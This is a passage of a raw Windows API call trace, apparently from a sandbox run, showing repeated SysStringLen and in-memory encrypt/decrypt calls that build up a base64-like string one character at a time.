0x18 [0137.977] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x80c\xb9f9\xf2f1\xdb43\xd1a\xdf09\x6b3e\x6256") returned 0x18 [0137.977] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.978] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPꖙ癏⑹⮾") returned 0x18 [0137.978] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.978] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x1b6b\x9fc5\x61b6\xecd\xd3eb\x1ae3\xbd2c\x486b") returned 0x18 [0137.978] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x1b6b\x9fc5\x61b6\xecd\xd3eb\x1ae3\xbd2c\x486b") returned 0x18 [0137.978] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.978] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPA癏⑹⮾") returned 0x18 [0137.978] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.978] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x5e5e\xd08e\xbd65\xf3ab\x6946\x402b\x6570\x7e06") returned 0x18 [0137.978] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x5e5e\xd08e\xbd65\xf3ab\x6946\x402b\x6570\x7e06") returned 0x18 [0137.978] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.978] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQ⑹⮾") returned 0x18 [0137.978] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.978] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x4a25\x94b7\xcf87\x4635\xb9e8\x1f63\x144b\x2229") returned 0x18 [0137.978] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x4a25\x94b7\xcf87\x4635\xb9e8\x1f63\x144b\x2229") returned 0x18 [0137.978] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.978] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQG⮾") returned 0x18 [0137.978] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.978] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x979a\xd762\xe17\xc065\x1b9b\xac34\x6ba1\x89a7") returned 0x18 [0137.978] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x979a\xd762\xe17\xc065\x1b9b\xac34\x6ba1\x89a7") returned 0x18 [0137.978] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.978] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGV") returned 0x18 [0137.978] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.978] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x9163\x81e8\x24da\x73ea\x8fa9\x54e2\xd1de\x417b") returned 0x18 [0137.978] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x9163\x81e8\x24da\x73ea\x8fa9\x54e2\xd1de\x417b") returned 0x18 [0137.978] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.978] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVb") returned 0x18 [0137.978] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.978] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9") returned 0x18 [0137.979] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9") returned 0x18 [0137.979] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9") returned 0x18 [0137.979] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9") returned 0x20 [0137.979] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.979] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL搔p温붰랢嬈謪") returned 0x20 [0137.979] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.979] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xc89b\x7d33\x13fe\x54ce\x917d\xaea\xc369\xc1f1") returned 0x20 [0137.979] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xc89b\x7d33\x13fe\x54ce\x917d\xaea\xc369\xc1f1") returned 0x20 [0137.979] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.979] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7p温붰랢嬈謪") returned 0x20 [0137.979] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.979] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xd771\xfa5c\x3c2a\x5b38\xa84f\x4a26\xed1f\x7dbe") returned 0x20 [0137.979] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xd771\xfa5c\x3c2a\x5b38\xa84f\x4a26\xed1f\x7dbe") returned 0x20 [0137.979] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.979] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7T温붰랢嬈謪") returned 0x20 [0137.979] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.979] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\x3bd4\x2b9f\xf0f7\x50bc\x740f\x45b0\x4a47\x5800") returned 0x20 [0137.979] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\x3bd4\x2b9f\xf0f7\x50bc\x740f\x45b0\x4a47\x5800") returned 0x20 [0137.979] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.979] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TM붰랢嬈謪") returned 0x20 [0137.979] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.979] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xc07d\x29a4\xe7e8\xf7e8\x8ea6\x4f58\x3c69\x3a3b") returned 0x20 [0137.979] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xc07d\x29a4\xe7e8\xf7e8\x8ea6\x4f58\x3c69\x3a3b") returned 0x20 [0137.979] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.979] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMk랢嬈謪") returned 0x20 [0137.980] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.980] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xd35\x1c43\x1b89\x8b7\x372e\xbc01\x7d33\x378b") returned 0x20 [0137.980] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xd35\x1c43\x1b89\x8b7\x372e\xbc01\x7d33\x378b") returned 0x20 [0137.980] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.980] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMko嬈謪") returned 0x20 [0137.980] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.980] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xaf8d\x4fb5\x151\xd42d\xe367\x47e6\x9584\x888e") returned 0x20 [0137.980] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xaf8d\x4fb5\x151\xd42d\xe367\x47e6\x9584\x888e") returned 0x20 [0137.980] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.980] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ謪") returned 0x20 [0137.980] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.980] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\x1a2\x4497\x4161\x2875\x7a7c\xc310\xe0a0\x2da6") returned 0x20 [0137.980] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\x1a2\x4497\x4161\x2875\x7a7c\xc310\xe0a0\x2da6") returned 0x20 [0137.980] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.980] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2") returned 0x20 [0137.980] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.980] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb") returned 0x20 [0137.980] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb") returned 0x20 [0137.980] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb") returned 0x20 [0137.980] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb") returned 0x28 [0137.980] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.980] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2Vᖕ殈酯ꧦ⤺稸") returned 0x28 [0137.980] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.980] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x7a1b\x58eb\x3ee6\x63b0\x103a\xff1c\x4958\x2469") returned 0x28 [0137.980] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x7a1b\x58eb\x3ee6\x63b0\x103a\xff1c\x4958\x2469") returned 0x28 [0137.980] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.981] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2Vs殈酯ꧦ⤺稸") returned 0x28 [0137.981] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.981] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\xabc6\x5118\x81d4\xee50\x68dc\xab11\x95e6\x73b6") returned 0x28 [0137.981] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\xabc6\x5118\x81d4\xee50\x68dc\xab11\x95e6\x73b6") returned 0x28 [0137.981] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.981] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2Vs4殈酯ꧦ⤺稸") returned 0x28 [0137.981] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.981] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x2e63\x953b\x93f7\xecf8\x7fec\xe179\xbbac\x2d6c") returned 0x28 [0137.981] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x2e63\x953b\x93f7\xecf8\x7fec\xe179\xbbac\x2d6c") returned 0x28 [0137.981] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.981] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2Vs4t酯ꧦ⤺稸") returned 0x28 [0137.981] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.981] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x3d11\x7bd8\xde84\xf505\x5f1e\xdabc\x6f99\xd5e2") returned 0x28 [0137.981] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x3d11\x7bd8\xde84\xf505\x5f1e\xdabc\x6f99\xd5e2") returned 0x28 [0137.981] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.981] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2Vs4t5ꧦ⤺稸") returned 0x28 [0137.981] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.981] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\xdd34\xe59a\x4789\xd831\x4746\x8c6e\x46da\xaefe") returned 0x28 [0137.981] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\xdd34\xe59a\x4789\xd831\x4746\x8c6e\x46da\xaefe") returned 0x28 [0137.981] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.981] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2Vs4t5I⤺稸") returned 0x28 [0137.981] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.981] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x945c\x8001\xc6e\x3b4c\xe1ff\x2c89\x5fd7\xee3b") returned 0x28 [0137.981] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x945c\x8001\xc6e\x3b4c\xe1ff\x2c89\x5fd7\xee3b") returned 0x28 [0137.981] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.981] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2Vs4t5IW稸") returned 0x28 [0137.981] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.982] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x1a95\x7047\xe19a\x2d58\x64ab\x1232\x6188\x651f") returned 0x28 [0137.982] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x1a95\x7047\xe19a\x2d58\x64ab\x1232\x6188\x651f") returned 0x28 [0137.982] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.982] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2Vs4t5IWB") returned 0x28 [0137.982] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.982] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x495a\x506a\x996c\x53e6\xde99\x28ab\xe08e\x3e3b") returned 0x28 [0137.982] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x495a\x506a\x996c\x53e6\xde99\x28ab\xe08e\x3e3b") returned 0x28 [0137.982] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x495a\x506a\x996c\x53e6\xde99\x28ab\xe08e\x3e3b") returned 0x28 [0137.982] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x495a\x506a\x996c\x53e6\xde99\x28ab\xe08e\x3e3b") returned 0x30 [0137.982] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.982] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2Vs4t5IWBX偀勠ᩙ㰾ꕵ໨") returned 0x30 [0137.982] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.982] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x495a\x506a\x996c\x53e6\xde99\x28ab\xe08e\x3e3b\x61fc\x9ab8\xec5a\x2244\x5370\xf21d\xb955\x8e50") returned 0x30 [0137.982] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x495a\x506a\x996c\x53e6\xde99\x28ab\xe08e\x3e3b\x61fc\x9ab8\xec5a\x2244\x5370\xf21d\xb955\x8e50") returned 0x30 [0137.982] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.982] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2Vs4t5IWBXB勠ᩙ㰾ꕵ໨") returned 0x30 [0137.982] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.982] SysStringLen 